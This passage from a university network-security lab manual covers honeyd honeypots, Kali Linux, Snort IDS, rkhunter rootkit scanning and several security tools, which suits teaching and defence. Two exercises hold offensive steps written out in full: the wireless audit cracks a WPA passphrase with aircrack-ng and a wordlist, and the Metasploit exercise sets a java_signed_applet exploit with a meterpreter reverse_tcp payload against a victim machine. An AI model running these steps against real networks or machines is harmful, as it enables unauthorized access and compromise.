**Low-interaction honeypots** simulate only the services frequently requested by attackers. Since they consume relatively few resources, multiple virtual machines can easily be hosted on one physical system, the virtual systems have a short response time, and less code is required, reducing the complexity of the virtual system's security. Example: Honeyd.

**Examples of Honeypots-**

1. **Deception Toolkit:** DTK was the first Open Source honeypot released in 1997. It is a collection of Perl scripts and C source code that emulates a variety of listening services. Its primary purpose is to deceive human attackers.

2. **LaBrea :** This is designed to slow down or stop attacks by acting as a sticky honeypot to detect and trap worms and other malicious codes. It can run on Windows or Unix.

3. **Honeywall CDROM :** The Honeywall CDROM is a bootable CD with a collection of open source software. It makes honeynet deployments simple and effective by automating the process of deploying a honeynet gateway known as a Honeywall. It can capture, control and analyse all inbound and outbound honeynet activity.

4. **Honeyd :** This is a powerful, low-interaction Open Source honeypot, and can be run on both UNIX-like and Windows platforms. It can monitor unused IPs, simulate operating systems at the TCP/IP stack level, simulate thousands of virtual hosts at the same time, and monitor all UDP and TCP based ports.

**Result:**

**Ex. No.: 13b Date: HONEYPOTS**

**Aim:**

To setup and monitor honeypots using honeyd tool.

**Algorithm:**

1. Install honeyd on one of the system.

2. Create honeyd configuration file.

3. Launch honeyd with options -i -d and -f after configuration files are created.

4. Ping from Windows/Linux machine to the honeyd machine with it's IP address.

5. After honeyd successful deployment, check required port of honeyd machine are open

6. Use nmap to scan the open ports of honeyd machine.

7. If the required ports are open, the honeyd is functioning correctly.

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# **yum install honeyd**

[[root@localhost](mailto:root@localhost) security lab]# **vi /etc/honeyd.conf**

create windows

set windows personality "Microsoft Windows NT 4.0 Server SP5-SP6" add windows tcp port 80 open

add windows tcp port 139 open add windows tcp port 137 open add windows udp port 137 open add windows udp port 135 open

set windows default tcp action reset set windows default udp action reset

set windows ethernet “00:00:24:ab:8c:12”

bind 172.16.8.13 to p4p1

[[root@localhost](mailto:root@localhost) security lab]# **honeyd -i p4p1 -d -f honeyd.conf** Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos honeyd[4546]: started with -i p4p1 -d -f honeyd.conf

Warning: Impossible SI range in Class fingerprint "IBM OS/400 V4R2M0"

Warning: Impossible SI range in Class fingerprint "Microsoft Windows NT 4.0 SP3" honeyd[4546]: listening promiscuously on p4p1: (arp or ip proto 47 or (udp and src port 67 and dst port 68) or (ip )) and not ether src 48:0f:cf:6d:60:57

honeyd[4546]: Running with root privileges

Another terminal

[[root@localhost](mailto:root@localhost) security lab]# **nmap -p 135,139,445,1337 172.16.8.13**

Starting Nm[ap 5.00 ( http://nmap.org](http://nmap.org) ) at 2011-05-06 13:13 EDT Interesting ports on someone (172.20.73.77):

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tc open microsoft-ds

1337/tcp closed waste

MAC Address: 48:0f:cf:6d:60:57 (Connect AS)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

**Result:**

**Ex. No.: 14a Date:**

**STUDY OF KALI LINUX DISTRIBUTION**

**Aim:**

To study about Kali Linux: an advanced penetrating testing and security auditing Linux

distribution.

**Description:**

Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali Linux contains several hundred tools aimed at various information security tasks, such as Penetration Testing, Forensics and Reverse Engineering. Kali Linux is developed, funded and maintained by Offensive Security, a leading information security training company.

Kali Linux was released on the 13th March, 2013 as a complete, top-to-bottom rebuild of BackTrack Linux, adhering completely to Debian development standards. Features are listed below-

• **More than 600 penetration testing tools**

• **Free and Open Source Software**

• **Open source Git tree:** All of the source code which goes into Kali Linux is available for anyone who wants to tweak or rebuild packages to suit their specific needs.

• **FHS compliant:** It adheres to the Filesystem Hierarchy Standard, allowing Linux users to

easily locate binaries, support files, libraries, etc.

• **Wide-ranging wireless device support:** A regular sticking point with Linux distributions has been support for wireless interfaces. Kali Linux supports many wireless devices.

• **Custom kernel, patched for injection:** As penetration testers, the development team often

needs to do wireless assessments and Kali Linux kernel has the latest injection patches included.

• **Developed in a secure environment:** The Kali Linux team is made up of a small group of individuals who are the only ones trusted to commit packages and interact with the repositories, all of which is done using multiple secure protocols.

• **GPG signed packages and repositories:** Every package in Kali Linux is signed by each

individual developer who built and committed it, and the repositories subsequently sign the packages as well.

• **Multi-language support:** It has multilingual support, allowing more users to operate in their native language and locate the tools they need for the job.

• **Completely customizable:** It can be customized to the requirements of the users.

• **ARMEL and ARMHF support:** It is suitable for ARM-based single-board systems like the Raspberry Pi and BeagleBone Black.

**Security Tools:**

Kali Linux includes many well known security tools and are listed below-

• Nmap

• Aircrack-ng

• Kismet

• Wireshark

• Metasploit Framework

• Burp suite

• John the Ripper

• Social Engineering Toolkit

• Airodump-ng

**Aircrack-ng Suite:**

It is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security:

• Monitoring: Packet capture and export of data to text files for further processing by third party tools.

• Attacking: Replay attacks, deauthentication, fake access points and others via packet

injection.

• Testing: Checking WiFi cards and driver capabilities (capture and injection).

• Cracking: WEP and WPA PSK (WPA 1 and 2).

All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily Linux but also Windows, OS X, FreeBSD, OpenBSD, NetBSD, as well as Solaris and even eComStation 2.

**Result:**

**Ex. No.: 14b Date: WIRELESS AUDIT**

**Aim:**

To perform wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in

Kalilinux OS.

**Algorithm:**

1. Check the current wireless interface with iwconfig command.

2. Get the channel number, MAC address and ESSID with iwlist command.

3. Start the wireless interface in monitor mode on specific AP channel with airmon-ng.

4. If processes are interfering with airmon-ng then kill those process.

5. Again start the wireless interface in monitor mode on specific AP channel with airmon-ng.

6. Start airodump-ng to capture Initialization Vectors(IVs).

7. Capture IVs for atleast 5 to 10 minutes and then press Ctrl + C to stop the operation.

8. List the files to see the captured files

9. Run aircrack-ng to crack key using the IVs collected and using the dictionary file rockyou.txt

10. If the passphrase is found in dictionary then Key Found message displayed; else print Key Not

Found.

**Output:**

[**root@kali:~#**](mailto:root@kali:~) **iwconfig**

eth0 no wireless extensions.

**wlan0** IEEE 802.11bgn ESSID:off/any

**Mode:Managed** Access Point: Not-Associated Tx-Power=20 dBm

Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off lo no wireless extensions.

[**root@kali:~#**](mailto:root@kali:~) **iwlist wlan0 scanning**

wlan0 Scan completed :

Cell 01 - **Address: 14:F6:5A:F4:57:22**

**Channel:6**

Frequency:2.437 GHz (Channel 6) Quality=70/70 Signal level=-27 dBm Encryption key:on **ESSID:"BENEDICT"**

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s

Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s

36 Mb/s; 48 Mb/s; 54 Mb/s

**Mode:Master**

Extra:tsf=00000000425b0a37

Extra: Last beacon: 548ms ago

IE: WPA Version 1

Group Cipher : TKIP

Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK

[**root@kali:~#**](mailto:root@kali:~) **airmon-ng start wlan0**

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

PID Name

1148 NetworkManager

1324 wpa\_supplicant

|  |  |  |
| --- | --- | --- |
| PHY Interface | Driver | Chipset |
| phy0 wlan0 | ath9k\_htc | Atheros Communications, Inc. AR9271 802.11n |

Newly created monitor mode interface wlan0mon is \*NOT\* in monitor mode. Removing non-monitor wlan0mon interface...

WARNING: unable to start monitor mode, please run "airmon-ng check kill"

[**root@kali:~#**](mailto:root@kali:~) **airmon-ng check kill**

Killing these processes: PID Name

1324 wpa\_supplicant

[**root@kali:~#**](mailto:root@kali:~) **airmon-ng start wlan0**

|  |  |  |
| --- | --- | --- |
| PHY Interface | Driver | Chipset |
| phy0 wlan0 | ath9k\_htc | Atheros Communications, Inc. AR9271 802.11n |

(mac80211 **monitor mode** vif enabled for [phy0]wlan0 on [phy0]**wlan0mon**) (mac80211 station mode vif disabled for [phy0]wlan0)

[**root@kali:~#**](mailto:root@kali:~) **airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon**

**CH 6** ][ Elapsed: 5 mins ][ 2016-10-05 01:35 ][ **WPA handshake**: 14:F6:5A:F4:57:

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E

14:F6:5A:F4:57:22 -31 100 3104 10036 0 6 54e. WPA CCMP PSK B BSSID STATION PWR Rate Lost Frames Probe

14:F6:5A:F4:57:22 70:05:14:A3:7E:3E -32 2e- 0 0 10836

[**root@kali:~#**](mailto:root@kali:~) **ls -l**

total 10348

-rw-r--r-- 1 root root 10580359 Oct 5 01:35 **atheros-01.cap**

-rw-r--r-- 1 root root 481 Oct 5 01:35 atheros-01.csv

-rw-r--r-- 1 root root 598 Oct 5 01:35 atheros-01.kismet.csv

-rw-r--r-- 1 root root 2796 Oct 5 01:35 atheros-01.kismet.netxml

[**root@kali:~#**](mailto:root@kali:~) **aircrack-ng -a 2 atheros-01.cap -w /usr/share/wordlists/rockyou.txt**

[00:00:52] 84564 keys tested (1648.11 k/s)

**KEY FOUND! [ rec12345 ]**

Master Key : CA 53 9B 5C 23 16 70 E4 84 53 16 9E FB 14 77 49

A9 7A A0 2D 9F BB 2B C3 8D 26 D2 33 54 3D 3A 43

Transient Key : F5 F4 BA AF 57 6F 87 04 58 02 ED 18 62 37 8A 53

38 86 F1 A2 CA 0D 4A 8D D6 EC ED 0D 6C 1D C1 AF

81 58 81 C2 5D 58 7F FA DE 13 34 D6 A2 AE FE 05

F6 53 B8 CA A0 70 EC 02 1B EA 5F 7A DA 7A EC 7D EAPOL HMAC 0A 12 4C 3D ED BD EE C0 2B C9 5A E3 C1 65 A8 5C

**Result:**

**Ex. No.: 15 Date:**

**SNORT IDS**

**Aim:**

To demonstrate Intrusion Detection System(IDS) using snort tool.

**Algorithm:**

1. Download and extract the latest version of snort

2. Install development packages - libpcap and pcre.

3. Install snort

4. Verify the installation is correct.

5. Create the configuration file, rule file and log file directory

6. Create snort.conf and icmp.rules files

7. Execute snort from the command line

8. Ping to yahoo website from another terminal

9. Watch the alert messages in the log files

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# **cd /usr/src**

[[root@localhost](mailto:root@localhost) security lab]# **wget https:/**[**/www.snort.org/downloads/snort/snort-2.9.8.3.tar.gz**](http://www.snort.org/downloads/snort/snort-2.9.8.3.tar.gz)

[[root@localhost](mailto:root@localhost) security lab]# **tar xvzf snort-2.9.8.3.tar.gz**

[[root@localhost](mailto:root@localhost) security lab]# **yum install libpcap\* pcre\* -y**

[[root@localhost](mailto:root@localhost) security lab]# **cd snort-2.9.8.3** [[root@localhost](mailto:root@localhost) security lab]# **. /configure** [[root@localhost](mailto:root@localhost) security lab]# **make** [[root@localhost](mailto:root@localhost) security lab]# **make install**

[[root@localhost](mailto:root@localhost) security lab]# **snort --version**

,,\_ -\*> Snort! <\*-

o" )~ Version 2.9.8.2 GRE (Build 335)

'''' By Martin Roesch & The Snort Team: <http://www.snort.org/contact#team> Copyright (C) 2014-2015 Cisco and/or its affiliates. All rights reserved. Copyright (C) 1998-2013 Sourcefire, Inc., et al.

Using libpcap version 1.7.3

Using PCRE version: 8.38 2015-11-23

Using ZLIB version: 1.2.8 [[root@localhost](mailto:root@localhost) security lab]# **mkdir /etc/snort** [[root@localhost](mailto:root@localhost) security lab]# **mkdir /etc/snort/rules** [[root@localhost](mailto:root@localhost) security lab]# **mkdir /var/log/snort** [[root@localhost](mailto:root@localhost) security lab]# **vi /etc/snort/snort.conf**

add this line- **include /etc/snort/rules/icmp.rules**

[[root@localhost](mailto:root@localhost) security lab]# **vi /etc/snort/rules/icmp.rules**

**alert icmp any any -> any any (msg:"ICMP Packet"; sid:477; rev:3;)**

[[root@localhost](mailto:root@localhost) security lab]# **snort -i p4p1 -c /etc/snort/snort.conf -l /var/log/snort/ Another terminal**

[[root@localhost](mailto:root@localhost) security lab]# **pi**[**ng www.yahoo.com**](http://www.yahoo.com)

**Ctrl + C**

[[root@localhost](mailto:root@localhost) security lab]# **vi /var/log/snort/alert**

[\*\*] [1:477:3] ICMP Packet [\*\*] [Priority: 0]

10/06-15:03:11.187877 192.168.43.148 -> 106.10.138.240

ICMP TTL:64 TOS:0x0 ID:45855 IpLen:20 DgmLen:84 DF Type:8 Code:0 ID:14680 Seq:64 ECHO

[\*\*] [1:477:3] ICMP Packet [\*\*] [Priority: 0]

10/06-15:03:11.341739 106.10.138.240 -> 192.168.43.148

ICMP TTL:52 TOS:0x38 ID:2493 IpLen:20 DgmLen:84

Type:0 Code:0 ID:14680 Seq:64 ECHO REPLY

[\*\*] [1:477:3] ICMP Packet [\*\*] [Priority: 0]

10/06-15:03:12.189727 192.168.43.148 -> 106.10.138.240

ICMP TTL:64 TOS:0x0 ID:46238 IpLen:20 DgmLen:84 DF Type:8 Code:0 ID:14680 Seq:65 ECHO

[\*\*] [1:477:3] ICMP Packet [\*\*] [Priority: 0]

10/06-15:03:12.340881 106.10.138.240 -> 192.168.43.148

ICMP TTL:52 TOS:0x38 ID:7545 IpLen:20 DgmLen:84

Type:0 Code:0 ID:14680 Seq:65 ECHO REPLY

**Result:**

**Ex. No.: 16a Date: STUDY OF ROOTKITS**

**Aim:**

To study about rootkits and different rootkits scanner in Linux.

**Description:**

A rootkit is a program (or combination of several programs) designed to take fundamental control (in Unix terms “root” access, in Windows terms “Administrator” access) of a computer system, without authorization by the system’s owners and legitimate managers.

Rootkit scanner is a scanning tool to ensure system is clean of nasty tools. This tool scans for rootkits, backdoors and local exploits by running tests like:

- MD5 hash compare

- Look for default files used by rootkits

- Wrong file permissions for binaries

- Look for suspected strings in LKM and KLD modules

- Look for hidden files

- Optional scan within plaintext and binary files

There are many different versions of rootkits that perform basically the same function. Well known Linux rootkits include LRK, tOrn, and Adore and some Windows Rootkits include NTROOT, NTKap, and Nullsys.

Not only are rootkits designed to hide the presence of an attacker; they are also used to gain future administrator-level (root) access, launch distributed denial of service (ddos), or obtain financial or confidential information. Because rootkits are designed to hide the presence of an attacker, it is necessary to understand how a rootkit functions.

When a rootkit is installed, it overwrites many commands used on a daily basis such as ls, ps, or netstat. By overwriting such commands, the intrusion can be masked from the administrators.

**Types of Rootkits**

There are many places where a malware can install itself into an operating system. So, mostly the type of rootkit is determined by its location where it performs its subversion of the execution path. This includes:

1. User Mode Rootkits

2. Kernel Mode Rootkits

3. MBR Rootkits/bootkits

User mode rootkits involve system hooking in the user or application space. Whenever an application makes a system call, the execution of that system call follows a predetermined path and a Windows rootkit can hijack the system call at many points along that path.

Kernel mode rootkitsKernel are the tools that run in the kernel space, hence making it

really hard to detect. The entire operating system would be altered in the process, which would help in the process of hiding the fact that the system is compromised.

MBR rootkits/Bootkits can infect startup code like the Master Boot Record (MBR), Volume Boot Record (VBR) or boot sector, and in this way, can be used to attack full disk encryption systems.

There is difference between Virus and Rootkits are listed below-

|  |  |
| --- | --- |
| **Virus** | **Rootkit** |
| Primarily runs as an application process | Primarily runs as a part of OS/kernel |
| Usually gains user level access | Gains root/admin level access |
| Does not open backdoors | Opens backdoors — viz., port, IP, etc. |
| Does not provide any remote access | Provides remote access to attacker |
| Fairly easy to detect and remove | Extremely difficult to detect and remove |
| Is meant to create nuisance and data damage | Is meant to cause privacy/data theft |

**Detecting Rootkits in Linux:**

There are various tools to detect rootkits in Linux and some of these are mentioned below-

**Zeppoo** – Zeppoo allows you to detect rootkits on i386 and x86\_64 architecture under Linux, by using /dev/kmem and /dev/mem. Moreover it can also detect hidden tasks, connections, corrupted symbols, system calls and so many other things.

**Chkrootkit** – chkrootkit is a tool to locally check for signs of a rootkit. It is a shell script that checks system binaries for rootkit modification. It can also detect some well-known LKM rootkits.

**Rkhunter** – rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and possible local exploits. rkhunter is a shell script which carries out various checks on the local system to try and detect known rootkits and malware. It also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

**Result:**

**Ex. No.: 16b Date: INSTALLATION OF ROOTKITS**

**Aim:**

To install and explore the various options of Rkhunter rootkit scanner.

**Algorithm:**

1. Download rkhunter tool from https://rootkit.nl/projects/rootkit\_hunter.html or using wget from the command line-

wget [http://downloads.sourceforge.net/project/rkhunter/rkhunter/1.4.2](http://downloads.sourceforge.net/project/rkhunter/rkhunter/1.4.2/)/rkhunter-1.4.2.tar.gz

2. Unzip the file and install rkhunter as a root user.

3. Run the RKH updater to get the latest updates to the database

4. Setting cron job and email alerts

5. Set execute permission on the file rkhunter.sh

6. Scan the entire file system for rootkits.

**Output:**

[[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **wget** [**http://downloads.sourceforge.net/project/**](http://downloads.sourceforge.net/project/)

**rkhunter/rkhunter/1.4.2/rkhunter-1.4.2.tar.gz** [[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **gunzip rkhunter-1.4.2.tar.gz** [[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **tar xvf rkhunter-1.4.2.tar** [[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **cd rkhunter-1.4.2/**

[[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **./installer.sh --layout default --install** [[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **/usr/local/bin/rkhunter --update** [[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **/usr/local/bin/rkhunter --propupd** [[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **vi /etc/cron.daily/rkhunter.sh** [[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **chmod 755 /etc/cron.daily/rkhunter.sh** [[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# **rkhunter --check**

System checks summary

===================== File properties checks...

Files checked: 136

Suspect files: 0

Rootkit checks...

Rootkits checked : 383

Possible rootkits: 0

Applications checks...

All checks skipped

The system checks took: 2 minutes and 57 seconds

All results have been written to the log file: /var/log/rkhunter/rkhunter.log

One or more warnings have been found while checking the system. Please check the log file (/var/log/rkhunter/rkhunter.log)

**Result:**

**Ex. No.:** 17a **Date:**

**STUDY OF SECURITY TOOLS**

**Aim:**

To study the various tools used for security purpose in an organization.

**Description:**

The important security tools used in any organization are: Wireshark, Tcpdump, Nmap, Aircrack-ng, GRR, Nikto, Snort, OSSEC and Metasploit. The description of each of these is covered in the following sections-

**Wireshark**

It is the most widely used network protocol analyzer. The flexibility and depth of inspection allows to analyze security events and troubleshoot network security device issues. Some of the important features of Wireshark are shown below:

* Deep inspection of hundreds of protocols
* Live capture and offline analysis
* Runs on multiple platform
* Capture files compressed with gzip can be decompressed on the fly
* Live data can be read from Ethernet, ATM, Bluetooth, USB, Token Ring etc.
* Rich VoIP analysis

**Tcpdump**

It is a common packet analyzer that runs under the command line. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. It works on most UNIX like OS. It uses the libpcap library to capture packets. It is also possible to use tcpdump for the specific purpose of intercepting and displaying the communications of another user or computer. A user with the necessary privileges on a system acting as a router or gateway through which unencrypted traffic such as Telnet or HTTP passes can use tcpdump to view login IDs, passwords, the URLs and content of websites being viewed or any other unencrypted information.

**Nmap**

It is a free and open source software for network discovery and security auditing. Many systems and network administrators use it for tasks such as network inventory, managing service upgrade schedules and monitoring host or service uptime. It uses raw IP packets in novel ways to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use etc. It was designed to work on large networks but works fine against single hosts. It supports most of the OS like Linux, Windows, FreeBSD, OpenBSD, Solaris, Mac OS X etc.

**Aircrack-ng**

It is a complete suite of tools to assess WiFi network security. It focusses on different areas of WiFi security:

* Monitoring- Packet capture and export of data to text files for further processing by third party tools.
* Attacking- Replay attacks, deauthentication, fake access points and others via packet injection.
* Testing- Checking WiFi cards and driver capabilities (capture and injection).
* Cracking- WEP and WPA PSK( WPA 1 and 2)

All tools are command line which allows for heavy scripting. It works primarily on Linux but covers other OS also. The aircrack-ng software suite includes: airmon-ng, aireplay-ng, airodump-ng, aircrack-ng, airdecap-ng, ivstools etc.

**Google Rapid Response(GRR)**

It is an incident response framework focused on remote live forensics. It is based on client server architecture, so there is an agent which is installed on target machines and python server infrastructure that can manage and communicated with the agents. Cross-platform support for Linux, OS X and Windows clients is there.

**Nikto**

It is a web server scanner that tests web servers for dangerous files/CGIs, outdated server software and other problems. It performs generic and server type specific checks. It also captures and prints any cookies received. It also checks for server configuration items such as the presence of multiple index files, HTTP server options and will attempt to identity installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

**Snort**

It is an open source network-based intrusion detection system (NIDS) that has the ability to perform real-time traffic analysis and packet logging on Internet Protocol (IP) networks. It performs protocol analysis, content searching and matching. The program can also be used to detect probes or attacks, including but not limited to operating system fingerprinting attempts, semantic URL attacks, buffer overflows, server message block probes and stealth port scans.

Snort can be configured in three main modes: sniffer, packet logger and network intrusion detection. In sniffer mode, the program will read network packets and display them on the console. In packet logger mode, the program will log packets to the disk. In intrusion detection mode, the program will monitor network traffic and analyze it against a rule set defined by the user. The program will then perform a specific action based on what has been identified.

**OSSEC**

It is a free, open-source host-based intrusion detection system (HIDS). It performs log analysis, integrity checking, Windows registry monitoring, rootkit detection, time-based alerting and active response. It provides intrusion detection for most operating systems that includes Linux, OpenBSD, FreeBSD, OS X, Solaris and Windows. It has a centralized, cross-platform architecture allowing multiple systems to be easily monitored and managed.

**Metasploit**

It is one of the most powerful tools used for penetration testing. It comes in two versions: commercial and free edition. It offers lots of tools that range from scanning utilities to easy to launch exploits that include encoders used to bypass common security defenses. It is by default available in KaliLinux. It can also be separately installed to run on other Linux distributions, Windows or in Mac OS X. In KaliLinux, it can be executed in command line mode ie. msfconsole or through GUI mode ie. Armitage. It can perform multiple tasks through the life cycle of penetration testing. The various phases of penetration testing are- information gathering, enumeration, gaining access, privilege escalation, maintaining access and covering tracks.

**Result:**

**Ex. No.:**17b **Date:**

**METASPLOIT FRAMEWORK**

**Aim:**

To set up Metasploit framework and to exploitjava\_signed\_applet in Windows 8 machine remotely.

**Algorithm:**

1. Download the latest version of VirtualBox from https://www.virtualbox.org/wiki/Downloads and install.
2. Download the latest version of KaliLinux from https://www.kali.org/downloads/ and install in VirtualBox.
3. Install the victim Windows 8 machine image in VirtualBox.
4. In KaliLinux, open the metasploit console.
5. Search for java\_signed\_ applet in KaliLinux for exploitation.
6. If java\_signed\_applet found, then perform exploit with use command.
7. To get more information about exploit type info command.
8. To get more exploit options type show options command.
9. Set RHOST with remote victim machine IP address.
10. Set target windows 8 machine to attack.
11. Set LHOST with local IP address.
12. Next, we set the payload with meterpreter.
13. Set the URIPATH on victim Windows 8 machine.
14. Attack the victim machine with exploit command.
15. Send the URL to victim machine to start meterpreter.
16. Using meterpreter run system commands to attack in victim machine.

**Output:**

root@kali:~#msfconsole

msf> search java signed

msf> use exploit/multi/browser/java\_signed\_applet

msf exploit(java\_signed\_applet) > info

msf exploit(java\_signed\_applet) > show options

msf exploit(java\_signed\_applet) >ifconfig

msf exploit(java\_signed\_applet) > set RHOST 192.168.1.100

msf exploit(java\_signed\_applet) > set target 1

msf exploit(java\_signed\_applet) > set LHOST 192.168.1.110

msf exploit(java\_signed\_applet) > set payload windows/meterpreter/reverse\_tcp

msf exploit(java\_signed\_applet) > set URIPATH /

msf exploit(java\_signed\_applet) > exploit

msf exploit(java\_signed\_applet) > [\*] using URL: http://192.168.1.110:8000/

meterpreter>sysinfo

**Result:**